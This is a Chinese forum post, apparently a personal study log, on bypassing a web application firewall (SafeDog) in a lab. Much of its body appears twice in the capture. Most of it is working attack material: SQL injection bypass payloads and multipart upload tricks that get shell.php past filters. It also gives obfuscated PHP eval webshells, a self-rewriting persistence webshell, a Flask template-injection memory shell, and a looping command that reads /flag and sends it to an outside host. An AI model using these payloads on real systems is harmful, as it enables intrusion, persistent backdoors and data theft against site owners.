安全矩阵

 找回密码
 立即注册
搜索
查看: 773|回复: 0

详细|waf绕过学习

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2023-6-16 17:01:39 | 显示全部楼层 |阅读模式

详细|waf绕过学习

知己知彼
WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园[1]
  • • 规则引擎分为两块,对请求过滤和对响应过滤,而对请求过滤分为两大步,网络层过滤和应用层过滤。
  • • WAF每条规则都会配置动作,对命中规则的请求进行对应的处理。

分类image-20230516142728508
本文以安全狗为例子进行简单学习
部署位置enter image description here
  1. 请求 → CDN → 云waf → 硬waf → WEB服务器 → 软waf → WEB应用程序(代码waf) → (数据库)
复制代码

储备知识
  1. waf了解
  2. 各种语法
  3. http协议
  4. web服务器特性
复制代码

WAF绕过实验环境
没有在代码中进行过滤,如有会说明。
  1. win  10
  2. php  5.6.9
  3. mysql 5.7.26
  4. apache 2.4.39
  5. safe dog V3.5
复制代码

配置如下
image-20230516235356524image-20230516150636839
特征
image-20230517003655268image-20230517100649383迂回作战
[size=1em]主打一个侧面绕过,利用各种缺陷和特性使得waf没有解析到payload,不与waf的规则和策略硬刚
Web服务器特性
[size=1em]Web服务器解析与waf解析不同绕过
IIS+ASP
  • • %对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本处理时会将其忽略。

    select  →  se%lect
  • • unicodeIIS会自动解码unicode

tomcat
  1. /path1/path2/ == ;/path1;foo/path2;bar/;
复制代码

参数污染
传递多个相同参数,利用waf和web服务器解析的参数不同来进行绕过
Web 环境参数获取函数获取到的参数
PHP/Apache$_GET("par")last
JSP/TomcatRequest.getParameter("par")first
Perl(CGI)/ApacheParam("par")first
Python/Apachegetvalue("par")["first","last"]
ASP.NET/IISRequest.QueryString("par")first,lastWeb应用程序层
[size=1em]Web应用程序层(后端代码)解析与waf解析不同
[size=1em]waf没有根据后端代码来修改策略和规则
编码
对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
  1. json数据支持unicode编码
复制代码

多数据来源
web应用程序从多个地方取值,如
  1. <span style="outline: 0px; max-width: 100%; color: rgb(92, 99, 112); font-style: italic; box-sizing: border-box !important;"># php</span>
  2. <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">$param</span> = <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">$_SERVER</span>[<span style="outline: 0px; max-width: 100%; color: rgb(152, 195, 121); box-sizing: border-box !important;">'xxxx'</span>]
复制代码

可以从GET,POST,HEADER,METHOD等地方获取用户提交的参数。
如果waf只对GET,POST进行检测,没有与后端相适应,就可以绕过。
HTTP协议分块传输
  1. Transfer-Encoding: chunked  <span style="outline: 0px; max-width: 100%; color: rgb(92, 99, 112); font-style: italic; box-sizing: border-box !important;"># 表示BODY的传输编码方式为chunked(无Content-Length字段)</span>

  2. <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">3</span> <span style="outline: 0px; max-width: 100%; color: rgb(92, 99, 112); font-style: italic; box-sizing: border-box !important;"># 指明传输的数据长度</span>
  3. a=<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">1</span>
  4. <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">0</span> <span style="outline: 0px; max-width: 100%; color: rgb(92, 99, 112); font-style: italic; box-sizing: border-box !important;"># 表示传输结束</span>
复制代码

实验
  1. <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">$_REQUEST</span>[<span style="outline: 0px; max-width: 100%; color: rgb(152, 195, 121); box-sizing: border-box !important;">'id'</span>] 失败
  2. <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">$_POST</span>[<span style="outline: 0px; max-width: 100%; color: rgb(152, 195, 121); box-sizing: border-box !important;">'id'</span>] 成功
复制代码

keep-alive
http长连接,发送多个数据包请求,感觉跟请求走私很像
  1. <span style="outline: 0px; max-width: 100%; color: rgb(152, 195, 121); box-sizing: border-box !important;">Connection</span>: Keep-Alive
复制代码

需要关闭
image-20230517113339255multipart/form-data
推荐阅读
http://www.moonslow.com/article/tencent_waf_bypass
[size=1em]想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass
[size=1em]何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的,连续的**filename=**,中间可以插入\r\n或者\n
image-20230518163001348畸形请求方法
抓包,然后修改请求方法
chrest编码
  1. <span style="outline: 0px; max-width: 100%; color: rgb(152, 195, 121); box-sizing: border-box !important;">content-type</span>: charest=cp037
复制代码

  1. ibm869
  2. ibm870
  3. ibm871
  4. ibm918
  5. iso-2022-cn
  6. iso-2022-jp
  7. iso-2022-jp-2
  8. iso-2022-kr
  9. iso-8859-1
  10. iso-8859-13
  11. iso-8859-15
复制代码

waf特性
[size=1em]部署方式,策略与规则缺陷
云wafimg
通过改变用户域名的DNS解析地址来将Web流量牵引到云WAF引擎集群,经过检测后再回源至真正的Web服务器。
img
所以如果可以找到目标的真实ip,就可以绕过云waf。
性能缺陷高并发
用Burp的Trubo Intruder插件,失败
而且高并发很可能会造成业务系统出现问题。
脏数据
为了防止消耗太多的CPU、内存资源,因此许多WAF只检测前面的2M或4M的内容。所以可以通过填充垃圾数据进行绕过。
实验
  1. POST
  2. id=<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">1</span> <span style="outline: 0px; max-width: 100%; color: rgb(198, 120, 221); box-sizing: border-box !important;">union</span> <span style="outline: 0px; max-width: 100%; color: rgb(198, 120, 221); box-sizing: border-box !important;">select</span> <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">1</span>,<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">2</span>,<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">3</span>%<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">23</span>
复制代码

image-20230516150951130
安全????在HTTP BODY中检测到了关键字,直接返回500。。
  1. POST
  2. a=<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">8172</span>*A&id=<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">-1</span> <span style="outline: 0px; max-width: 100%; color: rgb(198, 120, 221); box-sizing: border-box !important;">union</span> <span style="outline: 0px; max-width: 100%; color: rgb(198, 120, 221); box-sizing: border-box !important;">select</span> <span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">1</span>,<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">2</span>,<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">3</span>%<span style="outline: 0px; max-width: 100%; color: rgb(209, 154, 102); box-sizing: border-box !important;">23</span>
复制代码

image-20230516151625299注意
waf可能直接检测长度来拦截
如安全????,GET下是不行的
image-20230516151807403白名单机制
  • • 文件白名单
    一些 WAF 为了保证核心功能如登陆功能正常,会在内部设立一个文件白名单,或内容白名单,只要和这些文件或内容有关,无论怎么测试,都不会进行拦截。如:WAF 设立了白名单/admin,那么我们的测试 payload 可以通过如下的手法来绕过
    # 原来被拦截
    http://a.a/?id=123 and 2*3=6
    # 现在不拦截
    http://a.a/?a=/admin&id=123 and 2*3=6
  • • IP白名单
    后端通过Header字段获取源IP
    X-FORWARDED-FOR等
  • • UA白名单
    某些WAF可能为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。

静态文件绕过
一些 WAF 为了减少服务器的压力,会对静态文件如.png、.css等直接放行,那么我们可以尝试伪装成静态文件来绕过
# 原来被拦截
http://a.a/?id=123 and 2*3=6
# 现在不拦截
http://a.a/?1.jpg&id=123 and 2*3=6请求方式
  • 1. 一些 WAF 对于get请求和post请求的处理机制不一样,可能对 POST 请求稍加松懈,因此给GET请求变成POST请求有可能绕过拦截。
  • 2. 一些 WAF 检测到POST请求后,就不会对GET携带的参数进行过滤检测,因此导致被绕过。

FUZZ
[size=1em]fuzz大法,使用脚本去探测WAF设备对于字符处理是否有异常,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass
测试点
1):get请求处
2):header请求处
3):post urlencode内容处
4):post form-data内容处
基础内容
1)编码过的0-255字符
2)进行编码的0-255字符
3)utf gbk字符正面硬刚
[size=1em]增增改改混淆视听,使waf的规则和策略失效
[size=1em]基本方针
  • 1. 增删测试waf容忍度,确认关键点
  • 2. 本地FUZZ PAYLOAD,先保证可以绕过检测
  • 3. 再次进行构造使得后端能够进行解析

sql注入
简单fuzz
image-20230517001306283
可以发现不会对单一的关键字进行过滤,会对一些组合进行过滤
union select绕过union (select)
UNiOn/*/1/*/select
UNiOn--+%02%0d%0aselect    #注释换行?id=-1 UNiOn/**/select 1,2,3#image-20230516154023102?id=-1 UNiOn/*/1/*/select 1,2,3#image-20230516154137250
在/**/中插入/x/即可,x至少为一个字符
函数绕过?id=-1 union/*/1/*/select 1,2,database()--+image-20230516221518813?id=-1 union/*/1/*/select 1,2,database/**/()--+image-20230516221551123
FUZZ结果
image-20230517000942363image-20230517000931846select from
硬刚G
分块传输,脏数据等成功文件上传[size=1em]waf检测内容知己知彼WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园[1]
• 规则引擎分为两块,对请求过滤和对响应过滤,而对请求过滤分为两大步,网络层过滤和应用层过滤。
• WAF每条规则都会配置动作,对命中规则的请求进行对应的处理。
分类图片image-20230516142728508本文以安全狗为例子进行简单学习
部署位置图片enter image description here请求 → CDN → 云waf → 硬waf → WEB服务器 → 软waf → WEB应用程序(代码waf) → (数据库)储备知识waf了解各种语法http协议web服务器特性WAF绕过实验环境没有在代码中进行过滤,如有会说明。
win  10php  5.6.9mysql 5.7.26apache 2.4.39safe dog V3.5 配置如下
图片image-20230516235356524图片image-20230516150636839特征
图片image-20230517003655268图片image-20230517100649383迂回作战主打一个侧面绕过,利用各种缺陷和特性使得waf没有解析到payload,不与waf的规则和策略硬刚
Web服务器特性Web服务器解析与waf解析不同绕过
IIS+ASP• %对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本处理时会将其忽略。
select  →  se%lect
• unicodeIIS会自动解码unicode
tomcat/path1/path2/ == ;/path1;foo/path2;bar/;参数污染传递多个相同参数,利用waf和web服务器解析的参数不同来进行绕过
Web 环境        参数获取函数        获取到的参数PHP/Apache        $_GET("par")        lastJSP/Tomcat        Request.getParameter("par")        firstPerl(CGI)/Apache        Param("par")        firstPython/Apache        getvalue("par")        ["first","last"]ASP.NET/IIS        Request.QueryString("par")        first,lastWeb应用程序层Web应用程序层(后端代码)解析与waf解析不同
waf没有根据后端代码来修改策略和规则
编码对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
json数据支持unicode编码多数据来源web应用程序从多个地方取值,如
# php$param = $_SERVER['xxxx']可以从GET,POST,HEADER,METHOD等地方获取用户提交的参数。
如果waf只对GET,POST进行检测,没有与后端相适应,就可以绕过。
HTTP协议分块传输Burp插件:https://github.com/c0ny1/chunked-coding-converter
Transfer-Encoding: chunked  # 表示BODY的传输编码方式为chunked(无Content-Length字段)
3 # 指明传输的数据长度a=10 # 表示传输结束实验
$_REQUEST['id'] 失败$_POST['id'] 成功keep-alivehttp长连接,发送多个数据包请求,感觉跟请求走私很像
Connection: Keep-Alive需要关闭
图片image-20230517113339255multipart/form-data推荐阅读
http://www.moonslow.com/article/tencent_waf_bypass
想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass
何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的,连续的**filename=**,中间可以插入\r\n或者\n
图片image-20230518163001348畸形请求方法抓包,然后修改请求方法
chrest编码content-type: charest=cp037ibm869ibm870ibm871ibm918iso-2022-cniso-2022-jpiso-2022-jp-2iso-2022-kriso-8859-1iso-8859-13iso-8859-15waf特性部署方式,策略与规则缺陷
云waf图片img通过改变用户域名的DNS解析地址来将Web流量牵引到云WAF引擎集群,经过检测后再回源至真正的Web服务器。
图片img所以如果可以找到目标的真实ip,就可以绕过云waf。
性能缺陷高并发用Burp的Trubo Intruder插件,失败
而且高并发很可能会造成业务系统出现问题。
脏数据为了防止消耗太多的CPU、内存资源,因此许多WAF只检测前面的2M或4M的内容。所以可以通过填充垃圾数据进行绕过。
实验POSTid=1 union select 1,2,3%23图片image-20230516150951130安全????在HTTP BODY中检测到了关键字,直接返回500。。
POSTa=8172*A&id=-1 union select 1,2,3%23图片image-20230516151625299注意waf可能直接检测长度来拦截
如安全????,GET下是不行的
图片image-20230516151807403白名单机制• 文件白名单
一些 WAF 为了保证核心功能如登陆功能正常,会在内部设立一个文件白名单,或内容白名单,只要和这些文件或内容有关,无论怎么测试,都不会进行拦截。如:WAF 设立了白名单/admin,那么我们的测试 payload 可以通过如下的手法来绕过# 原来被拦截http://a.a/?id=123 and 2*3=6# 现在不拦截http://a.a/?a=/admin&id=123 and 2*3=6
• IP白名单
后端通过Header字段获取源IPX-FORWARDED-FOR等
• UA白名单
某些WAF可能为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。User-AgentUA收集:https://www.0735.pro/archives/study/51.html
静态文件绕过一些 WAF 为了减少服务器的压力,会对静态文件如.png、.css等直接放行,那么我们可以尝试伪装成静态文件来绕过
# 原来被拦截http://a.a/?id=123 and 2*3=6# 现在不拦截http://a.a/?1.jpg&id=123 and 2*3=6请求方式1. 一些 WAF 对于get请求和post请求的处理机制不一样,可能对 POST 请求稍加松懈,因此给GET请求变成POST请求有可能绕过拦截。
2. 一些 WAF 检测到POST请求后,就不会对GET携带的参数进行过滤检测,因此导致被绕过。
FUZZfuzz大法,使用脚本去探测WAF设备对于字符处理是否有异常,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass
测试点
1):get请求处 2):header请求处 3):post urlencode内容处 4):post form-data内容处基础内容
1)编码过的0-255字符 2)进行编码的0-255字符 3)utf gbk字符正面硬刚增增改改混淆视听,使waf的规则和策略失效
基本方针:
1. 增删测试waf容忍度,确认关键点
2. 本地FUZZ PAYLOAD,先保证可以绕过检测
3. 再次进行构造使得后端能够进行解析
sql注入简单fuzz
图片image-20230517001306283可以发现不会对单一的关键字进行过滤,会对一些组合进行过滤
union select绕过union (select)UNiOn/*/1/*/selectUNiOn--+%02%0d%0aselect    #注释换行?id=-1 UNiOn/**/select 1,2,3#图片image-20230516154023102?id=-1 UNiOn/*/1/*/select 1,2,3#图片image-20230516154137250在/**/中插入/x/即可,x至少为一个字符
函数绕过?id=-1 union/*/1/*/select 1,2,database()--+图片image-20230516221518813?id=-1 union/*/1/*/select 1,2,database/**/()--+图片image-20230516221551123FUZZ结果
图片image-20230517000942363图片image-20230517000931846select from硬刚G
分块传输,脏数据等成功文件上传waf检测内容请求的urlBoundary边界MIME类型文件后缀名文件头文件内容访问流量文件上传数据包Accept-Encoding: gzip, deflate    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl
------WebKitFormBoundary9zWBDx6vAJHGTpAlContent-Disposition: form-data; name="upload_file"; filename="shell.php"Content-Type: image/png
<?phpphpinfo();?>
------WebKitFormBoundary9zWBDx6vAJHGTpAlContent-Disposition: form-data; name="submit"
submit------WebKitFormBoundary9zWBDx6vAJHGTpAl--boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl 定义了BODY中的分界线(因为是谷歌浏览器,所以分界线为----WebKitFormBoundary加上随机字符串)
--boundary
--boundary   # 每两个分界线之间是具体的内容:文件上传,post参数
--boundary--  # 结束标志安全????测试• 不允许php后缀上传
• 上传时,不检查文件内容
• 访问时,不允许访问含有恶意内容的php文件
绕过后缀Content-Type: multipart/form-data; boundary=a
增加多个boundaryphp:可以在boundary前后添加任意字符大小写boundary=boundary=aContent-Disposition: form-data; name="upload_file"; filename="shell.php"
操作:大小写Content-Disposition 任意位置换行,空格,脏数据溢出,多个Content-Disposition,form-data(删除,改为*)多个filename,多个;文件名单双引号数量content-type(增删,设置charset)多个BODY多个boundary交换name和filename的顺序排列组合Accept-Encoding: Accept-Encoding: gzipAccept-Encoding: compressAccept-Encoding: deflateAccept-Encoding: brAccept-Encoding: identityAccept-Encoding: *Windows
• NTFS 流文件流 (本地文件系统) - Win32 apps | Microsoft Learn[2]fuzz可以的:DATA:INDEX_ALLOCATION
20171227163716-2507a226-eae1-1image-20230517195752567• 文件名文件名尾加任意个. 或者任意个空格(对文件名无影响)
windows文件名的保留字符(不允许出现)\/:*?" <>|可以尝试在文件名后加上这些字符当filename=shell.php:.jpg结果:可以上传shell.php,但是会吃掉文件内容。。。其他的要不不可以,可以的话,上传的文件名为.jpg
image-20230517155239619• 文件名长度截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去。
部分成功的,好绕
waf是解析最后一个参数,最后一个;后面的,但是如果最后一个;后面没有参数,
后端就取前一个,waf识别到空
filename=shell.php;image-20230517144614924filename='shell.php'; # 双引号不行image-20230517144541805Content-Disposition: form-data; name="upload_file";filename=shell.php
除了shell.php处,其他地方加换行,或脏数据都可image-20230517145839048删除content-type
image-20230517153416749增加boundary
image-20230517175433650安全????+代码白名单(后缀只允许图片)
上面任意一个绕过(除了;绕过)+
filename=shell.php:DATA.jpg绕过文件内容检测--免杀安全????的内容检测随便改一下就过了。
<?phpclass test{    function __construct($cmd){        @eval($cmd);    }}$cmd=$_POST['a'];// $cmd = base64_decode($_POST[1]);$foo = new test($cmd);?>绕过流量测试时
system("xxx") #命令执行限制图片image-20230517211700124对流量进行一个base64加密即可
webshell
<?phpclass test{    function __construct($cmd){        @eval($cmd);    }}$cmd=$_POST['a'];$cmd = base64_decode($_POST[1]);$foo = new test($cmd);?>蚁剑
编码器
data[pwd] = Buffer.from(data['_']).toString('base64');选择编码器
图片image-20230517211627163webshell免杀• waf检测
内容、创建日期、文件大小、通信流量特征对于静态引擎的绕过,可以通过拆分关键词、加入能够引发解析干扰的畸形字符等;
而对于动态引擎,需要分析它跟踪了哪些输入点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则另类的入口各种混淆(编码加密,进制转换,反序列化...)符号干扰,绕过正则,拼接null,\n,\r,\t等信息差绕过(加入外部因素后才是webshel,量子WEBshell????)比如截取文件名,目录名,传入随机数种子等• 传统webshell
学习:
WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云[3]
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/webshell%E5%85%8D%E6%9D%80%E6%80%BB%E7%BB%93/
收集:
https://github.com/tennc/webshell
• 无文件落地--内存马
python
https://xz.aliyun.com/t/10933#toc-4
通过注册路由处理来实现注入
# flask 1.x 是可以的?name={{get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/khaz', 'khaz', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('cmd')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})}}/khaz?cmd=whoami图片image-20230531192216503# 僵尸进程 记得编码system("python3 -c \"while 1:exec(\\\"flag=__import__('os').popen('cat /flag').read()[:-1];print(flag);io=__import__('requests').get('https://ctf.bugku.com/pvp/submit.html?token=67c0d48c49a89cc434b2f95da944e759&flag='+flag);print(io.content);__import__('time').sleep(600);\\\");\" & ");僵尸进程 : 子进程先于父进程退出,父进程又没有处理子进程的退出状态,此时子进程就会称为僵尸进程。
父进程通过sleep(600)保证子进程优先于父进程退出
(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客[4]
php
<?php  set_time_limit(0);  ignore_user_abort(1);  unlink(__FILE__);  while (1) {    $content = '<?php @eval($_POST["123"]) ?>';    file_put_contents("snert.php", $content);    usleep(10000);}?>通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。
流量绕过弱特征:HTTP Headerrequest和response内容参考之前HW看的文章
• 哥斯拉【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户[5]
• 冰蝎利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区[6]冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏[7]冰蝎4.0自定义加密 - 先知社区[8]
• 蚁剑https://www.yuque.com/antswordproject/antsword/yuakxl
参考文章https://xz.aliyun.com/t/368
https://xz.aliyun.com/t/10515
[Bypass WAF Cookbook - MayIKissYou](https://wooyun.js.org/drops/Bypass WAF Cookbook.html)
https://www.anquanke.com/post/id/203880
玄武盾的几种绕过姿势 - 先知社区[9]
引用链接[1] WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园: https://www.cnblogs.com/realjimmy/p/12937247.html[2] 文件流 (本地文件系统) - Win32 apps | Microsoft Learn: https://learn.microsoft.com/zh-c ... fileio/file-streams[3] WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云: https://cloud.tencent.com/developer/article/1625439[4] (77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客: https://blog.csdn.net/Freshduke/article/details/111544319[5] 【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户: https://www.freebuf.com/sectool/285693.html[6] 利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区: https://xz.aliyun.com/t/2744[7] 冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏: https://www.secpulse.com/archives/195173.html[8] 冰蝎4.0自定义加密 - 先知社区: https://xz.aliyun.com/t/12453[9] 玄武盾的几种绕过姿势 - 先知社区: https://xz.aliyun.com/t/11607#toc-1请求的url
Boundary边界
MIME类型
文件后缀名
文件头
文件内容
访问流量文件上传数据包Accept-Encoding: gzip, deflate
   
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl

------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php
phpinfo();?>

------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundary9zWBDx6vAJHGTpAl--boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl 定义了BODY中的分界线(因为是谷歌浏览器,所以分界线为----WebKitFormBoundary加上随机字符串)

--boundary

--boundary   # 每两个分界线之间是具体的内容:文件上传,post参数

--boundary--  # 结束标志安全????测试
  • • 不允许php后缀上传
  • • 上传时,不检查文件内容
  • • 访问时,不允许访问含有恶意内容的php文件

绕过后缀Content-Type: multipart/form-data; boundary=a

增加多个boundary
php:可以在boundary前后添加任意字符
大小写
boundary=boundary=aContent-Disposition: form-data; name="upload_file"; filename="shell.php"

操作:
大小写
Content-Disposition 任意位置换行,空格,脏数据溢出,多个Content-Disposition,form-data(删除,改为*)
多个filename,多个;
文件名单双引号数量
content-type(增删,设置charset)
多个BODY
多个boundary
交换name和filename的顺序
排列组合Accept-Encoding:
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *
Windows
  • • NTFS 流文件流 (本地文件系统) - Win32 apps | Microsoft Learn[2]fuzz可以的:DATA
    :INDEX_ALLOCATION
    20171227163716-2507a226-eae1-1image-20230517195752567
  • • 文件名文件名尾加任意个. 或者任意个空格(对文件名无影响)

    windows文件名的保留字符(不允许出现)
    \/:*?" <>|
    可以尝试在文件名后加上这些字符当filename=shell.php:.jpg
    结果:
    可以上传shell.php,但是会吃掉文件内容。。。
    其他的要不不可以,可以的话,上传的文件名为.jpg

image-20230517155239619
  • • 文件名长度截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去。

部分成功的,好绕
waf是解析最后一个参数,最后一个;后面的,但是如果最后一个;后面没有参数,
后端就取前一个,waf识别到空
filename=shell.php;image-20230517144614924filename='shell.php'; # 双引号不行image-20230517144541805Content-Disposition: form-data; name="upload_file";filename=shell.php

除了shell.php处,其他地方加换行,或脏数据都可image-20230517145839048
删除content-type
image-20230517153416749
增加boundary
image-20230517175433650
安全????+代码白名单(后缀只允许图片)
上面任意一个绕过(除了;绕过)+
filename=shell.php:DATA.jpg绕过文件内容检测--免杀
安全????的内容检测随便改一下就过了。
<?php
class test
{
    function __construct($cmd){
        @eval($cmd);
    }
}
$cmd=$_POST['a'];
// $cmd = base64_decode($_POST[1]);
$foo = new test($cmd);
?>绕过流量
测试时
system("xxx") #命令执行限制image-20230517211700124
对流量进行一个base64加密即可
webshell
<?php
class test
{
    function __construct($cmd){
        @eval($cmd);
    }
}
$cmd=$_POST['a'];
$cmd = base64_decode($_POST[1]);
$foo = new test($cmd);
?>
蚁剑
编码器
data[pwd] = Buffer.from(data['_']).toString('base64');
选择编码器
image-20230517211627163webshell免杀
  • • waf检测

内容、创建日期、文件大小、通信流量特征对于静态引擎的绕过,可以通过拆分关键词、
加入能够引发解析干扰的畸形字符等;

而对于动态引擎,需要分析它跟踪了哪些输入
点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则另类的入口
各种混淆(编码加密,进制转换,反序列化...)
符号干扰,绕过正则,拼接null,\n,\r,\t等
信息差绕过(加入外部因素后才是webshel,量子WEBshell????)比如截取文件名,目录名,传入随机数种子等
  • • 传统webshell

学习:
WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云[3]
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/webshell%E5%85%8D%E6%9D%80%E6%80%BB%E7%BB%93/
收集:
https://github.com/tennc/webshell
  • • 无文件落地--内存马

python
https://xz.aliyun.com/t/10933#toc-4
通过注册路由处理来实现注入
# flask 1.x 是可以的
?name={{get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/khaz', 'khaz', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('cmd')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})}}/khaz?cmd=whoamiimage-20230531192216503# 僵尸进程 记得编码
